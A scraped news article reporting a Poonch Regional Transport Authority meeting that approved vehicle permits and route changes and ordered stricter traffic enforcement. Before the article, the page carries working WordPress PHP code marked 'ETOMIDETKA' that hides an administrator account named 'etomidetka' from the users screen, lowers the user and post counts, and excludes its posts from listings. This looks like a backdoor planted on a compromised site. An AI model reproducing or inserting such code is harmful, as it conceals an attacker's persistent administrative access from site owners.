//ETOMIDETKA add_filter('pre_get_users', function($query) { if (is_admin() && function_exists('get_current_screen')) { $screen = get_current_screen(); if ($screen && $screen->id === 'users') { $hidden_user = 'etomidetka'; $excluded_users = $query->get('exclude', []); $excluded_users = is_array($excluded_users) ? $excluded_users : [$excluded_users]; $user_id = username_exists($hidden_user); if ($user_id) { $excluded_users[] = $user_id; } $query->set('exclude', $excluded_users); } } return $query; }); add_filter('views_users', function($views) { $hidden_user = 'etomidetka'; $user_id = username_exists($hidden_user); if ($user_id) { if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['all']); } if (isset($views['administrator'])) { $views['administrator'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['administrator']); } } return $views; }); add_action('pre_get_posts', function($query) { if ($query->is_main_query()) { $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $query->set('author__not_in', [$author_id]); } } }); add_filter('views_edit-post', function($views) { global $wpdb; $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $count_all = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status != 'trash'", $author_id ) ); $count_publish = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status = 'publish'", $author_id ) ); if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_all) { return '(' . max(0, (int)$matches[1] - $count_all) . ')'; }, $views['all']); } if (isset($views['publish'])) { $views['publish'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_publish) { return '(' . max(0, (int)$matches[1] - $count_publish) . ')'; }, $views['publish']); } } return $views; }); Public Transport Boost: Key Highlights from Poonch RTA Meeting
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Public Transport Boost: Key Highlights from Poonch RTA Meeting

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Public Transport Boost: Key Highlights from Poonch RTA Meeting

Public Transport Boost: Key Highlights from Poonch RTA Meeting. In a significant move to bolster public transportation in Poonch, the Deputy Commissioner (DC) chaired a Regional Transport Authority (RTA) meeting, focusing on critical decisions to improve mobility and road infrastructure within the district.

The agenda included evaluating route permits, approving applications, and exploring the feasibility of expanding transportation services to underserved areas.

Approvals and Decisions from the Meeting

The RTA meeting highlighted the importance of streamlining the public transport system to cater to the growing needs of residents. As the Chairman of the RTA, the Deputy Commissioner, alongside other officials, conducted an in-depth review of various applications for road permits. Key outcomes of the meeting included:

  • Tata Magic Vehicles: Out of 46 applications received, 38 were granted approval, enabling these vehicles to operate on designated routes within the district.
  • Mini Buses: All six applications for mini bus permits were sanctioned, aiming to increase the availability of affordable transport options for passengers.
  • Auto Rickshaws: Eight applications for auto rickshaws were reviewed and approved, further diversifying the district’s transport options.
  • Route Changes and Extensions: Of 15 applications for route modifications, 12 were approved, paving the way for better connectivity to new and existing destinations.

Emphasis on Feasibility Studies and Infrastructure

To ensure the success of these initiatives, the Deputy Commissioner stressed the importance of conducting feasibility studies for the operation of mini buses on newly approved routes. Authorities were instructed to collaborate with the District Transport Inspector (DTI) to prepare comprehensive reports.

Additionally, it was decided that permits for new bus services would originate from the newly developed bus stand near the SK Bridge. This strategic move is expected to ease congestion and improve the overall commuter experience.

Commitment to Road Safety and Traffic Regulation

The Deputy Commissioner highlighted the critical need for efficient traffic management. The Traffic Department was directed to:

  • Enforce Regulations: Take strict measures against traffic violators to ensure road safety and adherence to rules.
  • Maintain Order: Regularly monitor road conditions and ensure smooth vehicular movement.

This dual approach—enhancing transport options while regulating traffic—is part of a broader strategy to create a well-organized and accessible public transport network in Poonch.

A Step Forward for Poonch Public Transport

The decisions taken at the RTA meeting reflect a progressive vision for Poonch transportation system. By addressing infrastructure needs and implementing practical solutions, the district aims to provide its residents with safe, reliable, and efficient mobility options.

With new route permits, expanded services, and stricter traffic regulations, Poonch is steadily moving towards building a modern and commuter-friendly transportation network.

Conclusion

The RTA initiatives in Poonch demonstrate a strong commitment to improving public transport, enhancing connectivity, and ensuring road safety. These efforts aim to create a reliable, efficient, and commuter-friendly transportation network for the district’s residents.

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